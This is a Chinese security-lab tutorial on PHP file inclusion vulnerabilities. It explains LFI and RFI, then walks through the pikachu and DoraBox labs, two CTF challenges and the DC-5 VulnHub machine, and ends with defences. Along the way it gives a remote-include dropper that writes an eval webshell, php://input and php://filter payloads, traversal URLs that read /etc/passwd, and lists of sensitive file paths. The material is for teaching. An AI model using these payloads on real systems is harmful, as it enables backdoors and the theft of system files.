文件包含

  • A+
所属分类:安全文章

01

漏洞概述

02

靶场体验

03

CTF实战

04

CD-5靶机实战

05

防御手段


1. 概述

1.1 原理

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

常见的导致文件包含的php函数PHP:include()、include_once()、require()、require_once()等;

  1. Include():语句包含并运行指定php文件。引入文件时,找不到被包含的文件时只会产生一个(E_warinng),并继续运行下面的代码。
  2. Include_once():此行为和Include()类似,唯一区别是会检查该文件是否已经被包含过,如果是则不会再次包含。
  3. Require():语句包含并运行指定php文件。引入文件时,找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止运行。
  4. Require_once:此行为和Require()类似,唯一区别是会检查该文件是否已经被包含过,如果是则不会再次包含。

当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的 文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这 一特性,在实施攻击时非常有用。

1.2 分类

文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的 方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。

  1. 本地文件包含 LFI(Local File Include)

  2. 远程文件包含 RFI(Remote File Include)

    (需要 php.ini 文件中 allow_url_include=on、 allow_url_fopen = On) (在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。)

下图为5.6.9版本

文件包含

下图为5.2.17

文件包含

1.3 利用方式

文件包含的利用方式多种多样,主要有读取敏感文件、远程包含shell、本地包含配合文件上传漏洞、使用PHP封装协议、包含Apache日志文件、截断包含、绕过WAF这七种。本文对这其中不一一展开叙述,仅叙述其中常用的几项。

当利用文件包含进行访问时,如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容;反之,就会得到一个类似:open_basedir restriction in effect.的警告。常见的敏感信息路径如下:

windows系统:

C:boot.ini //查看系统版本
C:windowssystem32inetsrvMetaBase.xml //IIS配置文件
C;windowsrepairsam //存储Windows系统初次安装密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:windowsphp.ini //php配置信息
C:windowsmy.ini //Mysql配置文件

UNIX/Linux系统

/ect/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站相关设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache相关设置
/etc/my.cnf //Mysql的配置文件

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,也可以远程执行php文件,新建木马文件。

2. 漏洞体验

2.1 pikachu

2.1.1 本地文件包含

如图是pikachu文件包含的靶场,在该界面下,尝试一些正常操作,然后观察url,发现有一个可能是文件包含的参数「filename」

文件包含

尝试修改其值,比如修改成正常情况下无法访问的文件「file6.php」,即url为:http://192.168.100.1/pikachu/vul/fileinclude/fi_local.php?filename=file6.php&submit=提交查询

文件包含

出现了无法通过网页跳转得到的页面,可以确定这里有文件包含漏洞。然后,我们尝试输入随意输入一些值使其报错,发现这里的报错居然写明了绝对路径。然后就可以查看敏感文件目录了。

这里有一个文件目录限制的问题要提一下。如果你是在Windows上使用phpstudy搭建的靶场,就不会遇到这个问题,但是,如果你是在linux上使用phpstudy搭建靶场,就会遇到文件目录限制的问题,详情如下:

文件包含

因为linux的phpstudy相较于Windows的phpstudy多出了几个文件,其中有一个就对访问目录进行了限制,该文件路径及文件名如下:/www/admin/localhost_80/wwwroot/.user.ini,这个文件为open_basedir进行赋值,将其文件包含的路径进行了限制。最简单的修改方法是,直接在前面加上;将其注释掉,如图。修改完成后,重启服务器即可。

文件包含

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。

2.1.2 远程文件包含

远程文件包含与本地文件包含大体上一致,不同的是,远程文件包含可以将自己服务器上的文件在目标服务器上执行。比如,放在我本地服务器上的txt文件,被传到了目标服务器执行,这里的执行不是指直接执行,而是将文件解析,执行其中的php代码,详细原理后文中有提到。

我在本地服务器中放了一个txt文件,里面写着一段php代码。这段代码的意思是,创建一个名为「xiaoma.php」文件,并在这个文件里写入一句话木马。

<?php
$myfile = fopen("xiaoma.php","w");//w表示以写入的方式打开文件,如果文件不存在,系统会自动建立
$txt = '<?php @eval($_POST["xiaoma"]);echo "xiaoma执行成功";?>';
fwrite($myfile,$txt);//把一句话小马写到当前文件
fclose($myfile);//关闭文件
echo "test01执行成功";
?>

这个文件一旦被执行,就可以在目标服务器上面创建一个我们自定义的木马。从而控制目标服务器。所以,远程文件包含的危害远大于本地文件包含。

2.1.3 include()函数的原理

关于远程文件包含,有好奇的读者可能做了一个尝试:将目的test01.txt后缀改成了test01.php,或者改成了其它形形色色的后缀名然后进行远程文件包含。结果很奇特,几乎所有的后缀名、甚至没有后缀名都可以包含成功,唯独.php后缀名包含失败。而且这个失败有一个显著的特征,就是结果产生在了本地文件夹,而不在目标服务器的文件夹。关于这一点,在查阅PHP文档之后,我们找到了答案。

PHP文档中关于include()函数有这么几句话:

当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果“URL include wrappers”在 PHP 中被激活,可以用 URL(通过 HTTP 或者其它支持的封装协议——见支持的协议和封装协议)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

第一段讲的是文件包含的原理,无论是本地还是远程,都是不在乎后缀名的,因为文件内容会直接被读取并进入HTML模式,然后执行PHP 起始和结束标记之间的代码。所以,无论有没有后缀名、无论后缀名是什么,只要文件内容是PHP,就可以包含成功。

第二段讲的是远程文件包含。这里有一点绕,首先我们把指示代词弄清楚,这里说的「目标服务器」就是指我们的服务器,「目标文件」就是指我们要包含的文件,而我们的目标服务器是指要攻击的服务器。当我们的文件在自己的服务器上以PHP代码来解释,也就是后缀是.php时,这个文件实际上是在目标服务器上运行,而结果显示在我们的服务器上。所以,也就出现了结果产生在本地文件夹的情况。

总的来说,只要后缀名不是.php,远程包含就没有问题。

2.2 DoraBox

DoraBox里面的两个漏洞文件包含漏洞很简单。解压包之后,先看一眼文件,发现在文件包含的文件夹下面有一个txt.txt文件,这个文件仅有一个字符串<?php phpinfo();?>,很明显,这是一串php代码,即使这是txt文件,但是一旦被文件包含,就会以php代码执行。

DoraBox的“任意文件包含"非常简单,与pikachu里面的File Inclulsion(local)完全一样。

而“目录限制文件包含”,与“任意文件包含”基本一致,唯一不同的是,其php文件的第十四行的代码为include './'.$file;多了个./

  • ./是当前目录
  • ../是父级目录

也就是说,如果作者加的是../,还可以跳转至上级目录,而返回找不到该文件的错误,比如我测试以下url:http://192.168.100.108/dorabox/file_include/include_1.php?file=../txt.txt&submit=submit,但是,作者加的是./,那就没有任何作用。

对于这个靶场来说,由于报错的时候会详细列出文件的路径,所以跳转起来也就非常简单。

话又说回来,其实无论加./还是../,攻击者都是要跳转到根目录进而查看系统配置文件,所以,这种方式的防御作用不大,聊胜于无罢了。

3. CTF

3.1 南邮大CTF

目标网址:http://4.chinalover.sinaapp.com

文件包含

界面很简单多次尝试分析后,基本可以确定存在文件包含,且参数是file。此时,如果是做渗透的话,肯定要扫描文件目录,进而查看敏感或关键文件信息,但是在CTF中,应当以拿到flag为主,此时,若是大范围扫描并查看文件,很难拿到flag,所以,在这里我们另辟蹊径,选择使用PHP伪协议。以下列出CTF中用得比较多的两个:

file:// 协议

条件:

allow_url_fopen:off/on allow_url_include :off/on 作用:用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

php:// 协议

条件:

allow_url_fopen:off/on allow_url_include :仅php://input php://stdin php://memory php://temp 需要on 作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符/分隔。
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符/分隔。
<; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

首先我们尝试「php://input」,借此输入一些PHP代码。

文件包含

例如,本图中,我输入了<?php echo 123;?>,但是回显表明这是不允许的。多次测试无果后,尝试php://filter。例如CTF中比较常用的:php://filter/read=convert.base64-encode/resource=index.php,这句话的意思是将指定php文件的源码以base64方式编码并被显示出来,这里由read指定过滤器名称,resource指定php页面为「index.php」

文件包含

果然,拿到了该php界面的base64编码,解码可得:

<html>
    <title>asdf</title>
    
<?php
 error_reporting(0);
 if(!$_GET){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 $file=$_GET['file'];
 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  echo "Oh no!";
  exit();
 }
 include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

flag就拿到了:nctf{edulcni_elif_lacol_si_siht}

3.2 百度杯

此题位置:i春秋 > CTF大本营 > 竞赛训练营 > “百度杯”CTF比赛 2017 二月场 > Web(include)

此题给出了部分代码和php的相关配置,就php的配置来看,基本可以确定存在文件包含漏洞。

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

以下是该函数涉及的函数以及魔术常量:

show_source():对文件进行语法高亮显示,有两个参数「filename,return」。将目的文件的代码直接显示在网页中。

__FILE__ :被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径。

isset() 函数用于检测变量是否已设置并且非 NULL。如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

$_REQUEST 用于收集HTML表单提交的数据,默认情况下包含了 $_GET$_POST$_COOKIE 的数组。

大致来说,这段代码描述的功能就是显示本页面的源代码,然后判定变量「path」的值,若为空,则包含「include.php」文件;若不为空,则包含path指定的文件。所以,这个文件包含的变量就是「path」。至于文件的操作系统,从主页的/etc等路径就可以看出来,如果不放心,也可以使用大小写来判断。

经过尝试,发现php://input与php://filter都可以用,所以便尝试传入木马,我沿用了上文中的代码,并加上了system()函数。<?php $myfile = fopen("xiaoma.php","w");$txt = '<?php @eval($_POST["xiaoma"]);echo "xiaoma执行成功";?>';fwrite($myfile,$txt);fclose($myfile);echo "test01successn";system('ls');?>

文件包含

很遗憾,木马构造失败。不过利用system()函数获取到了目录下的文件。把三个页面全部进一遍,没有得到有用的信息,于是,尝试「php://filter」,对三个页面逐个读取,发现「dle345aae.php」返回的base64解码之后拿到了flag,本题完。

flag为flag{d1d2f47e-e3e5-426a-90e6-33655d67cd61}

4. 靶机实战

4.1 前期扫描

本次靶机采用的是vulnhub所提供的开源靶机:DC-5,该靶机内容丰富,涵盖本地文件包含(LFI)、FUZZ、PHP伪协议、nginx日志文件写一句话、反弹shell、screen提权等实战情况,本次仅利用其文件包含漏洞。下载地址为:https://www.vulnhub.com/entry/dc-5,314/

此外,该靶机存已放于实验室服务器上,在连接实验室内网的情况下,请访问192.168.100.1选择试验。考虑到访问的需要,服务器上的所有靶机都已标明ip,无需另行探测。

由于这是内网实验,不必担心封ip的问题,所以直接开始扫描。

先用nmap扫端口:nmap 192.168.100.167,结果如下:

文件包含
nmap

再用dirb扫描文件:dirb http://192.168.100.167 /usr/share/dirb/wordlists/big.txt -X .php,这条命令要说明一下,文件的位置在不同的kali版本上会略有不同,请找准它的位置,-X的作用是为txt文件里的单词加上扩展名,这里加的是php,由于linux严格区分大小写,所以X一定要大写

文件包含
dirb

当然,也可以利用御剑来扫描,好处就是不用记这些命令,坏处是不够灵活,功能不够强大。扫描结果如下图:

文件包含
御剑

4.2 文件包含

端口、文件信息都拿到了,由于80端口开启了http服务,所以我们直接访问80端口,看一看它的界面。

文件包含
index

然后查看各个界面的跳转情况,发现在contact.php界面有交互点,于是尝试随机输入一些字符,在尝试特殊字符的过程中,发现交互点将特殊字符完全过滤,但是发现了一个特殊变化:底部的Copyright © 2017 发生了改变。此外,不论如何跳转,之前扫到的footer.php界面从未出现过,所以,果断直接访问,其界面如下:

文件包含

刷新该界面,发现数字也会变化,与之前一致,但是其他界面的这一个部分的文字却不会发生变化。到这一步,大概有一个猜测了:thankyou.php界面包含footer.php等界面,或者更确切地说,thankyou.php文件包含footer.php文件。我们要想确定这里是否存在文件包含漏洞,就必须拿到它的参数。

先随便尝试几个url,例如http://192.168.100.167/thankyou.php?asdf=index.php,发现这些都可以正常显示界面,这说明这些参数不对,文件没有包含成功,必须找到真正的参数才行。

想拿到这里的参数,最好的方法肯定是爆破。起初,我尝试使用kali自带的WFUZZ进行爆破,但是没有成功。查阅资料后发现,WFUZZ过滤机制有些欠缺,只能根据字数、字符数、行数、响应码返回信息,但是这里,所有的页面都可以正常返回,这些特征信息无法识别,所以采用了经典强大的BurpSuite,利用BurpSuite的Length参数找到了这个参数名:file

文件包含

这时候,再利用file进行访问,url为:http://192.168.100.167/thankyou.php?file=index.php,返回的界面就变得不一样了,是一个明显的文件包含界面,验证了我们文件包含漏洞的猜想。

文件包含

接下来就是常规的操作了,比如根据大小写确定操作系统,比如访问/etc/passwd文件等。/etc/passwd该文件是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。url为:http://192.168.100.167/thankyou.php?file=/etc/passwd。利用文件包含,可以获取很多系统信息,为之后的攻击做准备。

5.防御手段

文件包含的防御手段主要有如下四种:

  1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
  2. 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“ ../";
  3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
  4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");。

·END·

文件包含

谨记责任,高歌向前

微信公众号:蝰蛇安全实验室

 文案  |  Bearight

 排版  |  A Robot

 审核  | Crispitol

 指导老师 |  Hard Target


本文始发于微信公众号(蝰蛇安全实验室):文件包含

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: